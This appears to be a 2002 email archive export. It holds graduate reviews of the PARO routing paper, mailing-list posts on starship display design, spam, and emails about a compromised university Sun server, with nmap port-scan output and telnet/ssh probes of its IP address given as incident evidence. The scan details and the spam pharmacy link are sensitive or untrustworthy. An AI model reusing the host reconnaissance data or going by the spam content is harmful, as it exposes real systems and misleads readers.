redirecting algorithm to decide if the adding of the overhearing node to the route will decrease the overall power consumption. If this is the case, the overhearing node becomes a potential ""redirector"" and sends a route-redirect message to the communicating nodes involved. PARO uses a clever scheme here to suppress duplicate route-redirect packets, that is priority route-redirector packets. Upon the reveival of this message, the original route will redirect itself to go through the overhearing node, thus a new route with less overall power consumption is achieved. However, this core algorithm only applies to static netwokrs. To make it suitable to mobile nodes, this paper suggests some enhencements to the core algorithm, such as: sending explicit signaling packets, using increasing transmission range to capture mobile nodes, and so on. However some details are missing here, like how to choose the value of route-timeout. Besides, the redirecting algorithm for mobile situation is describled in a informal way. I guess the authors have not come up with a complete PARO solution for mobile networks at that time, thus they can only evaluate and the performance of the protocol in static networks. No result about power efficiency in mobile networks is given in the paper. Thus, there is still some distance to make PARO applicable to networks with high mobility. PARO is not a ""complete"" routing protocol, because it's only applicable to the situation where all nodes are located within the maximum transmission range of each other. Thus given a sparsely populated network, PARO must be combined with some other traditional routing protocols to find a complete route with low power consumption. When designin PARO, the authors take power efficiency as the only metrics to make a good routing protocol, ignoring all the other important metrics like end-to-end throughput and delay. It's critical to take these metrcs into account and make some trade-off between them. Also it's very important to use the power capacity of each node fairly to prevent overloading some nodes and exhausting them, but this paper doesn't say any things about it. ",0,0 Sean Welch ,Emin Gun Sirer ,"Thu, 19 Sep 2002 11:26:55 -0400",615 PAPER 13,"PARO PARO (Power Aware Routing Optimization) is an algorithm designed to reduce the overll system power consumed in the process of routing. On the simplest level, PARO acts to insert an additional routing hop between two existing hops whenever the central node detects that there is a net power savings in doing so. The basic protocol operation is as follows. Each packets, in its transmission, includes the transmit power necessary for that node to reach the destination. Whenever a node overhears a packet, it checks the node's transmit power relative to the total power incurred by inserting the snooping node into the routing path. If the snooping node can provide a sufficient power savings in the route, and no other nearby node transmits a better route first, the overhearing node will transmit a redirect packet, instructing the sending node to route future traffic through the intermediate node. Only one node may be added into a route on any one iteration of the protocol. Extending PARO to mobile network is explained through the addition of a linear ""silence interval"" term to the transmission power, as well as a mechanism for upstream nodes to detect when a previous node is no longer the power-optimal route. PARO has some nice features. One of the most significant is that most of the power savings observed come from adding the first one to two nodes into the path. This suggests that moderate increases in delay can significantly reduce overall power consumption, and that while convergence may be a slow process, there is sufficient power savings from partial convergence to justify the effort. In fact, the decreasing rate of return for additional nodes suggests that there is a reasonable trade-off to be found between latency and power consumption. The paper also had a number of weaknesses. One of the more significant issues to me is the simulation results, and their method of presentation. Presenting in graph form (instead of, say, a bar graph) really requires more than three data points to give a useful picture of the tradeoffs involved. The adaptation of PARO to mobile systems is also fairly scant, and seems highly likely to suffer from a number of problems with respect to genuine node and link failures. The authors describe a node hand-off mechanism for removing a hop that is no longer power efficient, but give no consideration to the effects of the loss of a reflector node (or reflector link), and how such losses will interact with routing protocols used in conjunction with PARO. Finally, implementation of this protocol requires nodes to listen in on all communications traffic, which implies running the network interface in promiscious mode, increasing NIC power consumption. One recommendation I would make is to more closely examine the effects of quantized transmission power on performance. Both the research on how to maximize power efficiency given a set of power levels, and the research on how to select the optimal transmission power levels for power aware routing would be useful information, and could have a real impact on protocol design and performance. ",0,0 pj39@cornell.edu,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:19:05 -0400",615 PAPER 13,"Conserving Transmission Power in wireless Ad Hoc Networks This paper addressed the one of most important and scarce resource for MANET i.e battery power. It considers conserving power in manet's as one of the most important part in optimizing the performance of manet's. Power aware routing optimization (PARO) assumes that transmitting a packet to a distant node consumes significantly more power than to one that is near. Hence PARO attempts to minimize power usage by a node by increasing the number of intermediate nodes that are near to it. It makes use of reactive routing algorith in order to establish the least power consuming route between a source and a destination. Routes are created and maintained whenever there is a demand and hence there are no signal messages. The major weakness of PARO is that it assumes that all the nodes are within hearing range of each other so any node can reach any other node in a single hop as in a LAN. This assumption limits the scalability of PARO to a great extent as the network would be confined to a very small range of distance. The author do describes communication between LAN's as a WAN but the protocol is not clear and is not described in detail. The paper gives simulation analysis of the protocol. From analysis it is clear that PARO would perform well in smaller networks with limited mobility. The comparison of PARO with the modified Link State routing algorithm MLSR does not give a better idea of the effectivity of the algorithm. As MLSR is a proactive algorithm with lots of signalling messges. It would have been better if the authors would have compared PARO with other reactive algorithms which have some power optimization. Future work could be directed towards a more scalable network using PARO. Also other general issues like routing loops, load balancing, security issues, higher layer protocols can be discussed. ",0,0 """Stefanovski, Sasko"" ","""Gilfoyle, Gerard"" ","Thu, 19 Sep 2002 11:22:45 -0400",Meeting,"Dr. Gilfoyle, >i will be in town next wednesday. >i think it would be useful to meet and discuss some things and i can >give you the password at that time. i would like to talk about the >possibility of getting some new machines and adding them to the >cluster. we would use the racks from the old cluster which would >mean at least starting to dismantle the old cluster. what would be >a good time to meet? >let me know what you think. I have no planed activities for the next Wednesday so far. Is it 10am o.k. with you, so I can update my calendar? I did apply security errata to some of the installed packages. Since the cluster is running customized kernel, it is impossible to update the following packages with the general RedHat updates: nfs-utils, modutils, losetup, mount lpr wu-ftpd at util-linux openssl openssl-devel openssl-pyton openssl-perl glibc glibc-devel kernel kernel-headers Some of them have serious security issues and it is strongly recommended to apply their fixes. However, since the current installed versions are customized by Scyld engineers, we have to options: - either wait for patch from Scyld (I am not so optimistic on this) - put the cluster beside the firewall (an old box with 2 NIC's running the latest RedHat image would do the trick). I vote for the second options. In that case we wouldn't have a vulnerable system exposed directly to outside world. That wouldn't affect the way the cluster is being used or his services accessed. What do you think about this? I would like to chat more on this next Wednesday. Regards, Sasko ",0,0 Alan Shieh ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:28:11 -0400",615 PAPER 13,"PARO This paper introduces PARO, a link-layer technique for reducing power consumption. Since transmission power increases superlinearly with range in all propagation models, subdividing a long path may result in power savings. PARO operates transparently under a standard routing algorithm (lowest hop count, for instance). If node notices a conversation between two other nodes, and believes that a route through it would require less power than the direct transmission (using some loss model), then it advertises a route through itself. Self-timing is combined with a use-first-heard scheme to provide collision avoidance and improved optimality. PARO continues iteratively, typically improving power consumption as time progresses. The PARO technique increases latency (increased hop count, not necessarily visible to the routing algorithm, and also requiring more time before detecting a network partition). It also provides suboptimal routes (greediness causes suboptimal selection when two communicating nodes can hear each other. once a node is selected as an intermediate node, it always remains an intermediate node until motion detection algorithm eliminates it; lack of global knowledge induces suboptimal behavior when the communicating nodes cannot hear each other, and so the algorithm falls victim to the triangle inequality). The power equations used in the paper do not take into account fixed transmission overheads. ** Future work - PARO always attempts to find a node as close to the bisector of two communicating nodes as possible. Once selected, a node will always (unless it moves away) redirect traffic between the endpoints. A consequence is that additional hops are likely to be used, with little improvement in power consumption. More hops are in fact likely to increase global power consumption due to second order terms ignored by PARO (e.g. receive power). Since many more intermediate nodes are likely to have sent out redirect advertisements than nodes that actually end up redirecting, perhaps remembering the old advertisements would allow intermediate nodes to build some idea of the local link state in the system, and determine a more optimal route. ",0,0 Adam Kravetz ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:20:48 -0400",615 Paper 13,"PARO identifies the problem that resources are limited w/ current day mobile devices and there needs to be some recognition of the importance of power consumption in ad-hoc networks. Basic idea is that if you can trade off some efficiency (not getting there in one hop) w/ a significant decrease in power consumption you should take it. Like the other paper for today, I ask if this is really a full routing algorithm? I doesn't seem that it will work very well w/ real network conditions (nodes coming or going, packet loss). PARO does get kudos for finally addressing the power consumption issue however, as it is the first to do so. The paper also has a simulation and implementation (albeit rudimentary, but at least its something) to demonstrate the work. ",0,0 Emin Gun Sirer ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:29:27 -0400",615 PAPER 13,">From linga@CS.Cornell.EDU Thu Sep 19 11:27:39 2002 >Date: Thu, 19 Sep 2002 11:27:39 -0400 (EDT) >From: Prakash Linga >To: Emin Gun Sirer >Subject: PAPER #13 > > > >Power-aware routing optimization (PARO) > >A power-aware routing protocol which tries to minimize the transmission power >requirements in a mobile adhoc network has been proposed in this paper. >Intermediate nodes (called redirectors) choose to forward packets on behalf of >source destination pairs to reduce the power requirements for transmission of >packets. This optimization works in case when the destination is within range >of the source. In case of wide-area networks, local-energy saving coupled with >wide-area routing is used to forward packets when source and destination are >not within transmission range of each other. >Some important assumptions are: Radios can dynamically adjust their >transmission power levels. Also, transmission power required to send a packet >from node A to node B is almost the same as that required to send the same >packet from node B to node A. Transmission is much more power consuming than >reception or listening (and hence optimize on transmission power.) >Protocol tries to maximize the number of redirectors on the path from source to >destination to minimize power requirements (unlike traditional algorithms which >try to minimize the number of hops required.) Routes are discovered on-demand >(reactive). Every node adds the power level used to transmit the packet to >the packet header. Any node which overhears the transmission then takes note of >the power level used and based on the reception level calculates the power >required to reach the transmitting node. >Basic algorithm: At first, source directly communicates with the destination >(say, by sending the transmission at maximum power level). Some node which >overhears this transmission will calculate if it could reduce the power >requirements if it acts as a redirector. If so, it will inform the source and >the destination that it will act as a redirector using a route-redirect message >(and adds appropriate entries in the redirect table). Nodes which can further >optimize the power requirements will add on as redirectors. >There is also the route maintenance part where the routes are adapted to the >changing topology. This is done using some small enhancements to the >overhearing and redirecting part. Transmission level to the next redirector >is now sum of old estimate and delta where delta depends on the average speed >of the nodes in the network and the time since the next redirector was >overheard. If a node does not transmit any packets to any destination for >route-timeout period it proactively sends route maintenance packets. >Also, other nodes in the network can overhear transmissions to redirector nodes >and if any of these move the new nodes can elect to act as redirectors if that >helps. >Preliminary performance evaluation results are presented which validate the >protocol > >Pros: >A power-aware reactive routing protocol has been proposed in this paper. >Initial simulation/experimental results show the efficacy of the protocol. >This protocol works in differenct communication environments like sensor n/ws, >home n/ws, MANETs. > >Cons: >Simplitic assumptions like transmission power required to send a packet >from node A to node B is almost the same as that required to send the same >packet from node B to node A. >No thorough evaluation of the work. >This is a local optimization. Not clear if this works well in a larger network. > >Future directions: >-More thorough evaluation of the protocol especially is large networks. >-Testing performance of different applications running on PARO. >-Saving reception and listening power inaddition to transmission power. >",0,0 Yong Yao ,Emin Gun Sirer ,"Thu, 19 Sep 2002 11:43:06 -0400",615 PAPER 13,"This paper introduces PARO, an on-demand adhoc routing protocol, which purpose is qutie different from other MANET routing protocols. PARO tries to minimize power consumed by packet transmisssion including route discovery. It is accomplished by adding as more nodes as possible to a route, if the new route is more energy efficient than the old one. It assumes that each node can dynamically adjust its transmission power and compute the minimal power required to commuincate with any of its neighbors. The main observation of the paper is that to route a packet over multiple short hops is usually cheaper than over fewer long distance hops, given the energy model for ad-hoc networks. There are three core components of PARO: overhearing, redirecting and route maintenance. A node keeps overhearing packets and compute the exact power to communicate with its neighbors. An internal nodes may volunteer to redirect packets between two nodes if it finds out that the total energy consumption can be reduced. In case of node mobility and failures, explicit signaling packets may be used for the maintenance purpose, and routes may be updated to reflect topology changes. PARO addresses a significant issue in adhoc network routing, but it still has some weaknesses. First, it assumes a fairly simple transmission and energy model. It dose not take the power consumption during reception and listening modes into account. The assumption that all nodes are located with the maximum transmission range of each other is not reasonable in practice. Second, a route with more hops could introduce longer delay and become less reliable. Finally, the route maintenance algorithm is very expensive and complex, which may have extra overhead to the whole network. Yong Yao ",0,0 """Andrew E. Davis"" ",egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:57:11 -0400",615 PAPER13," The paper ""Conserving Power in Wireless Ad Hoc Networks"" introduces power conservation as a design goal for ad-hoc networks. The paper evaluates ad-hoc networks in situations where transmission power is the overwhelming power cost and assumes the nodes goal is to reduce their collective power usage during transmission. The paper proposes that the optimal routing solution, when quantified in terms of power usage is not the shortest hop solution, and that it is more optimal to transmit via a route involving multiple hops with nodes operating at less then maximum power. This is based on the premise that power usage climbs disproportionately to the gain in range. The protocol Power aware routing optimization(PARO) can be either implemented as the routing layer or just below the routing layer inserted at layer 2.5 to provide power efficiency benefits to existing MANET protocols. The optimization has three phases, overhearing, computing redirection and route convergence. The protocol begins by transmitting directly from point A to point B, and includes in the packet the power usage. Other nodes overhear the packet and compute if they could offer a route using less power. If such a route exists they inform the source and destination, and the next packet sent over the route will use less power. The protocol then converges to its optimal solution iteratively as other nodes may now eavesdrop and insert themselves into these two hops. The protocol converges as a function of the packets sent by the application specific layer above. The authors implemented PARO using commercial 802.11b technology and showed that despite implementation limits of the Aironet cards limiting them to fixed number of power levels they were able to achieve significant aggregate power savings. ",0,0 Karan Suri ,egs@CS.Cornell.EDU,"Thu, 19 Sep 2002 11:58:46 -0400",615 PAPER #13,"In this paper a new energy efficient protocol for mobile ad-hoc networks is introduced. The paper assumes a network in which all nodes are within transmission range of every other node (i.e. a small, clustered network is ideal for PARO). The critical assumption the protocol is based on is that the less distance between communicating nodes, the less powerful the transmission, and hence the more power is conserved. The protocol, which is quite simple, includes three main processes: overhearing, redirecting and route-maintenance. Overhearing is the process through which nodes include themselves into routes between source and destination nodes. After the destination node sends a communication transmission to the source node, those nodes that overhear this transmission will be viable intermediary nodes for the route. This intermediary or ""redirector"" node assesses, through a mathematical equation included in the paper, if its participation in the route will make a more energy efficient route. Then, if it is possible to have a more energy efficient route, this redirector node sends a redirect message to both nodes and becomes an intermediary node in the route, which will forward packets from source to destination. This process is known as redirecting. Overhearing and redirecting are iterative processes and continue until no intermediary node exists which thinks it can create a more efficient route (i.e .route convergence). The final process is route maintenance, which is critical to preserving the existence of the routes while little traffic is being transmitted. This is done by sending periodic data signals from source to destination keeping the route active. The authors include a pretty comprehensive simulation (one of the best seen thus far). Many of the concerns that I had while reading the paper were answered by the simulation's results. For instance, I felt that PARO would show a substantial decrease in the success rate of data transmissions in an actively mobile network since this would entail an increase in the number of iterations seen in the network, which I felt would cause diminishing results as far as energy conservation was concerned. However, it seems that this was not the case since route-maintenance was more efficient than was previously assumed. One question, which was raised in the beginning of the paper which was not addressed in the simulation was the idea of having varying packet sizes being transmitted (they used 100-byte packets). It would seem that larger data packets would need greater transmission power. So, in addition, to distance between nodes, the effect of packet sizes on energy efficiency should be addressed. Another problem with this protocol that you see with the examples provided is that nodes in the ""middle of the network"" will always be active and nodes on the fringe of the network will be conserving the greatest amount of energy. This might have diminishing returns in a more static topology with large amounts of data transfer since ""middle nodes"" would lose a substantial amount of energy being redirector nodes rather than losing energy communicating as source nodes. They are in a pretty unfortunate position in the network and this may hurt them in the long run when they need to communicate. ",0,0 Vivek Vishnumurthy ,Emin Gun Sirer ,"Thu, 19 Sep 2002 12:00:17 -0400",615paper13,"PARO: The paper presents the PARO (a Power-Aware Routing Optimization) protocol. It aims to minimize the power consumption of the network as a whole, thus maximizing battery life and minimizing node and link failures. The basic mechanism used by this protocol is: When node A is talking to node B, and node C overhears this conversation and sees that by participating in this conversation as an intermediate hop, it(C) can lead to a decrease in the power consumption, it does so, by sending a ""route-redirect"" message to A. A similar means is used when it is discovered that there is a redundant link in a path and the redundant link is dropped. The protocol also handles the scenario where more than one node discovers that power-saving is possible, by giving preference to the node that leads to the maximum reduction of power usage.We see that even with a limited number of increase in the intermediate hops, there is a substantial reduction in the power-usage. The weaknesses of the paper: - The extra cost of having transmitters and receviers able to work with variable power levels has not been discussed. - It assumes bi-directional links. - The communication between A and B depends on the active involvement of an (hitherto) uninvolved node: This makes security hard to implement. - The source node has to transmit explicit signalling packets when there is no traffic: This could lead to substantial overheads. - In a situation where there is a path A-B-C and C lies just outside the range of the transmission range of A, the fact that power could be saved by having A transmit its packets directly to C is never discovered. - Parameters other than power used has not been taken into account. The simulation should have compared performance of this protocol with others in terms of parameters such as end-end throughput, delay, etc. We cannot conclude that because the protocol has good performance wrt one parameter, it is applicable. - In the simulation results shown (Fig 6), the transmission success ratio is less than 0.7 for a significant portion of the domain. This is not acceptable in most scenarios. The paper can be improved by making the simulation more rigorous, and making the route-restructuring more pro-active(eg: take into account the case mentioned above). ",0,0 CERT Advisory ,cert-advisory@cert.org,"Thu, 19 Sep 2002 18:11:36 -0400",New CERT/CC PGP Key," -----BEGIN PGP SIGNED MESSAGE----- New CERT� Coordination Center (CERT/CC) PGP Key The current CERT/CC PGP key will expire on Tuesday, October 1, 2002. We use this key to sign all outgoing email, including advisories sent to this list. A new key is available and will be valid until Wednesday, October 1, 2003. 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How long can you have that machine down? Most likely you all will have to reinstall the OS. I would also like to bring over a new person, Sasko Stefanovski, with me. He is the new IS person who was hired to help faculty/staff with some of the burden of administrating their servers. Thanks, Tim Network address: 141.166.222.216 Ethernet address: 080020aafd7c Network location: SCI2A-3.15 Interesting ports on grv2.richmond.edu (141.166.222.216): (The 65523 ports scanned but not shown below are in state: closed) Port State Service 22/tcp open ssh 23/tcp open telnet 111/tcp open sunrpc 1726/tcp open unknown 4546/tcp open unknown 6000/tcp open X11 16236/tcp open unknown 23485/tcp open unknown 32772/tcp open sometimes-rpc7 32773/tcp open sometimes-rpc9 32774/tcp open sometimes-rpc11 32776/tcp open sometimes-rpc15 telnet 141.166.222.216 Trying 141.166.222.216... Connected to 141.166.222.216. Escape character is '^]'. SunOS 5.7 ssh -p 4546 141.166.222.216 The authenticity of host '141.166.222.216 (141.166.222.216)' can't be established. RSA1 key fingerprint is dc:cd:da:72:fe:6e:db:70:ff:11:e5:cc:b4:27:80:80. Are you sure you want to continue connecting (yes/no)? no ",0,0 gilfoyle ,"""St. Laurent, Tim"" ","Sun, 22 Sep 2002 23:42:16 -0700",Re: grv2,"hi tim, i am on sabbatical so i won't be around this week. the good news is that IS is now supporting linux/unix and sasko has already been doing some of the system administration on our linux machines. sasko can get you in my lab. if you need help getting into the system, then call me at 757-269-7454. grv2 is the lone sun machine in the small lab adjacent to our supercomputer. jerry > ""St. Laurent, Tim"" wrote: > > Hey Jerry, > > We had a report that grv2 was running an IRC server. After looking into it I > found that there were several ports open on that machine and it looked likes > that machine has been compromised. They are running SSH on port 16236 for > example. I've included, at the bottom, some of what I've found on that > machine. The short of is that I had to disable the network port for that > computer. I would like to come over tomorrow and take a look at it and see > what we find. How critical is that machine? How long can you have that > machine down? Most likely you all will have to reinstall the OS. I would > also like to bring over a new person, Sasko Stefanovski, with me. He is the > new IS person who was hired to help faculty/staff with some of the burden of > administrating their servers. > > Thanks, > > Tim > > Network address: 141.166.222.216 > > Ethernet address: 080020aafd7c > > Network location: SCI2A-3.15 > > Interesting ports on grv2.richmond.edu (141.166.222.216): > > (The 65523 ports scanned but not shown below are in state: closed) > > Port State Service > > 22/tcp open ssh > > 23/tcp open telnet > > 111/tcp open sunrpc > > 1726/tcp open unknown > > 4546/tcp open unknown > > 6000/tcp open X11 > > 16236/tcp open unknown > > 23485/tcp open unknown > > 32772/tcp open sometimes-rpc7 > > 32773/tcp open sometimes-rpc9 > > 32774/tcp open sometimes-rpc11 > > 32776/tcp open sometimes-rpc15 > > telnet 141.166.222.216 > > Trying 141.166.222.216... > > Connected to 141.166.222.216. > > Escape character is '^]'. > > SunOS 5.7 > > ssh -p 4546 141.166.222.216 > > The authenticity of host '141.166.222.216 (141.166.222.216)' can't be > established. > > RSA1 key fingerprint is dc:cd:da:72:fe:6e:db:70:ff:11:e5:cc:b4:27:80:80. > > Are you sure you want to continue connecting (yes/no)? no -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482 ",0,0 gilfoyle ,Francisco Chinchilla ,"Sun, 22 Sep 2002 23:46:22 -0700",what do you make of this?,"hi francisco, hope your graduate classes are going well. i got the attached message from tim st. laurent this evening. it looks like telnet is running on grv2. is that so? did we get hacked? jerry -- Dr. Gerard P. Gilfoyle Physics Department e-mail: ggilfoyl@richmond.edu University of Richmond, VA 23173 phone: 804-289-8255 USA fax: 804-289-8482",0,0 Rosalia Collins ,egs@cs.cornell.edu,"Mon, 23 Sep 2002 06:11:00 +0200",Get the medication you need delivered to your door in 24 hours.,"Your one stop prescription shop! http://qbcur.g6mo37l34dl6ggyr3yyr3ygy.tanburhm.com/?limypd ",1,1 """St. Laurent, Tim"" ","""Gilfoyle, Gerard"" ","Mon, 23 Sep 2002 09:22:55 -0400",grv2,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jerry, Will you be back this Wednesday? Is so, can we set a time for us to come over? We will probably need your help with what needs to be saved off of that computer before it gets rebuilt. If you aren't going to be back Wednesday, we will try and come over some time this week. Just let me know either way. Thanks, Tim - ----------University of Richmond---------- Tim St. Laurent Security Administrator *tstlaure@richmond.edu *804-289-8655 -----BEGIN PGP SIGNATURE----- Version: PGPfreeware 7.0.3 for non-commercial use iQA/AwUBPY8Vr20ND4rSGyCQEQLH9ACeKl6cNHsi7NorS+AD4ETvIXRmu5oAnjDt l9BgDm4S2DURCmrU7JG3mk2I =uf9t -----END PGP SIGNATURE-----",0,1 """L. Parker"" ","scifox@asylum30.freeserve.co.uk, 'Starship Design' ","Mon, 23 Sep 2002 12:31:24 -0500",RE: starship-design: LCDs,"Plasma screens are much more rugged, durable and longer lasting. Unfortunately, the ones I am familiar with are power hogs. Lee > -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of > scifox@asylum30.freeserve.co.uk > Sent: Monday, September 23, 2002 8:28 AM > To: Starship Design > Cc: AAA - List > Subject: starship-design: LCDs > > > In recent discussions with a friend I was pointed out a > problem with my > multi-purpose terminals idea. Previously I wanted to use full-colour > displays, allowing maximum adaptability (all forms of > display, readouts, > alerts, etc...). However, as my friend said, colour displays > both LCD and > plasma, lose or leach their colour over time, while > monochrome LCDs are > virtually imortal. > Now, I'd still like to use colour displays in my designs, as > they are more > adaptable, even if possibly shorter-lived and more expensive. > Does anyone > have any info on long-lasting flat colour displays, prefable > low-energy use > ones? > > I'll probably end up doing the prototypes one mono displays, > as I'm on a low > budget and they'rw all I have laying about, but I'd like to > leave the room > for expansion. I picked up the 19"" rack on saturday, which > already has some > of the equipment mounted in it, so things are getting a > little closer to > first practical experiements. > > All the best > > Sci > > >From VM Mon Sep 23 17:21:50 2002 Content-Length: 313 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""313"" ""Monday"" ""23"" ""September"" ""2002"" ""19:52:48"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" ""<14b.148e49db.2ac10350@aol.com>"" ""15"" ""Re: starship-design: LCDs"" ""^From:"" nil nil ""9"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8NNr3Le016958 for ; Mon, 23 Sep 2002 16:53:03 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g8NNr3Q5016957 for starship-design-outgoing; Mon, 23 Sep 2002 16:53:03 -0700 (PDT) Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.97]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8NNr2Le016925 for ; Mon, 23 Sep 2002 16:53:02 -0700 (PDT) Received: from KellySt@aol.com by imo-r01.mx.aol.com (mail_out_v34.10.) id z.14b.148e49db (25098) for ; Mon, 23 Sep 2002 19:52:48 -0400 (EDT) Message-ID: <14b.148e49db.2ac10350@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: LCDs Date: Mon, 23 Sep 2002 19:52:48 EDT In a message dated 9/23/02 1:33:30 PM, lparker@cacaphony.net writes: >Plasma screens are much more rugged, durable and longer lasting. > >Unfortunately, the ones I am familiar with are power hogs. > > > >Lee Lee, Starships ae such a power hog, the flat screens could hope to use enonugh to be noteworthy. ;) >From VM Thu Sep 26 14:46:45 2002 Content-Length: 1890 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1890"" ""Thursday"" ""26"" ""September"" ""2002"" ""16:24:55"" ""-0500"" ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Russia mulls mothballing space station Date: Thu, 26 Sep 2002 16:24:55 -0500 Russia mulls mothballing space station Thursday, September 26, 2002 Posted: 2:31 PM EDT (1831 GMT) MOSCOW (Reuters) -- Manned missions to the international space station may have to be suspended because Russia cannot afford to build new craft to carry crews there, a Russian space official said Thursday. ""The situation is desperate,"" Valery Ryumin, director of the Russian section of the ISS, said by telephone. Ryumin, also a top designer for rocket-builder Energiya -- which supplies the Soyuz craft -- said the company had no money beyond next year to build the vehicles. ""It takes two years to build the spaceship. Unless we place an order today, we will have nothing to fly on in 2004,"" he said. A key member of the 16-nation space station program, Russia has undertaken to provide Soyuz capsules. Designed to carry three people, they remain docked to the orbiting outpost for months at a time and can be used for emergency rescues. It is intended for use on a single mission. Ryumin said that without Soyuz, U.S. crews would not be able to use the space station as their shuttle craft were designed to remain at the station for a maximum of three weeks. The U.S. program also had no alternative provision for rescue missions. ""That is why the issue has been raised of suspending permanent manned missions at the station,"" he said. Ryumin said he had sent a letter to his U.S. counterpart explaining Russia's concerns. He suggested that the publicity given to Russia's financial difficulties might prompt the government to stump up more funds. ""Perhaps the government will choose to avoid an international scandal,"" he said. ""But I will tell you frankly that I have almost given up hope."" Once I knew where I was going, but now I have forgotten. Sometimes my mind wanders. Sometimes it goes alone, and other times it takes me along...this isn't one of those times... >From VM Fri Sep 27 12:16:58 2002 Content-Length: 2763 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2763"" ""Friday"" ""27"" ""September"" ""2002"" ""20:12:37"" ""+0100"" ""Peter \\\\(Sci\\\\)"" ""scifox@asylum30.freeserve.co.uk"" nil ""72"" ""Re: starship-design: LCDs"" ""^From:"" nil nil ""9"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8RJCs8k026718 for ; Fri, 27 Sep 2002 12:12:54 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g8RJCrIL026717 for starship-design-outgoing; Fri, 27 Sep 2002 12:12:53 -0700 (PDT) Received: from cmailm1.svr.pol.co.uk (cmailm1.svr.pol.co.uk [195.92.193.18]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g8RJCp8k026684 for ; Fri, 27 Sep 2002 12:12:53 -0700 (PDT) Received: from modem-84.elephant.dialup.pol.co.uk ([217.134.240.84] helo=kat) by cmailm1.svr.pol.co.uk with smtp (Exim 3.35 #1) id 17v0Xd-0006Z8-00 for starship-design@lists.uoregon.edu; Fri, 27 Sep 2002 20:12:48 +0100 Message-ID: <002d01c26659$ddf8fc80$54f086d9@kat> References: <14b.148e49db.2ac10350@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Precedence: bulk Reply-To: ""Peter \\(Sci\\)"" From: ""Peter \\(Sci\\)"" Sender: owner-starship-design@lists.uoregon.edu To: Subject: Re: starship-design: LCDs Date: Fri, 27 Sep 2002 20:12:37 +0100 > >Plasma screens are much more rugged, durable and longer lasting. > > > >Unfortunately, the ones I am familiar with are power hogs. > > > > > > > >Lee > > Lee, Starships ae such a power hog, the flat screens could hope to use > enonugh to be noteworthy. > > ;) Well, I've done some more research now, so I think the answers are resonably logical. You're right, Plasma displays are power-hogs... compared to LCDs. Compared to CRTs, they use less than half the power however. I have a suspicion (and that's all it is) that some effieicy could be gained with plasma screens if they didn't have to convert the mains-source power (a ""mains"" supply apready running at the needed 300V or so?). Looking into their structure, they're more durable physicly, but I suspect also in vacuum. LCDs are thin and contain a liquid, which would be leached out in any (hopefully expected) vacuum exposure, whereas plasmas only containa low-pressure gas, making it less likely to leak or fracture from internal pressure. They could be used easily in and out of vacuum (EG: and V-exposed ship-lab, or in an airlock?). It would make more of a demand on a ships power, but it can be lessened by simply having inactive terminals shut down. The stats I've found for their lifespan also seem impressive: This varies considerably between manufacturers but usually from 20,000 to 30,000 hours. After this time the plasma screen will only be at around half the original brightness. If you used your plasma screen for 5 hours a day every day it would last over 10 years. At the end of the plasma screen's life, the screen will be very dull and you will need to replace the plasma screen with a new one. This is one advantage plasma screens have over LCD projectors, which have a bulb life of usually 2,000 hours before replacement. Another source said: Manufacturers quote a life expectancy of around 24,000 continual hours use before noticeable deterioration of the picture quality becomes apparent. It will probably last much longer depending on the application of your screen. Eight hours per day, seven days per week for eight years is less than 24,000 hours! Even being used 24hours a day, that still nearly 3 years of solid use before they loose half their brightness. with power-saving modes saving of screen life and power, a ship would probably only need a complete screen refit every 10 years? I'd imagine it's the phosper in the screen that decays, leading to the screens death. Anyone know if there's a way to revitalise phosphers? Even if not, I'd guess most of the screens could be reused if the phosphers could be replaced? Baring new developments in flat-screens, I think Plas,a screens fit the bill nicely. =) All the best, Sci",0,0 ���¹� ,starship-design-outgoing@darkwing.uoregon.edu,"Mon, 23 Sep 2002 13:51:45 -0600","�ʰ��ӹ�ũ ��Ÿ�Դϴ� ������ ���޾� ������! ,. ��.","������ ������ ���������� ���� ���� ������ �������������������������������������������� �������������� ���������� �������������� ������ ���������� 100%������ ����������   ����1�������� ������ ���� ����������������   3�������� �������� �������� ���� ���������� ��������   ��������:��7%~��12% (��������7%~17%)   �������� ����������""����""�� ����������!!�� �� ��",1,1 Kevin Walsh ,egs@CS.Cornell.EDU,"Mon, 23 Sep 2002 21:53:35 -0400",615 PAPER 19,"CEDAR: a Core-Extraction 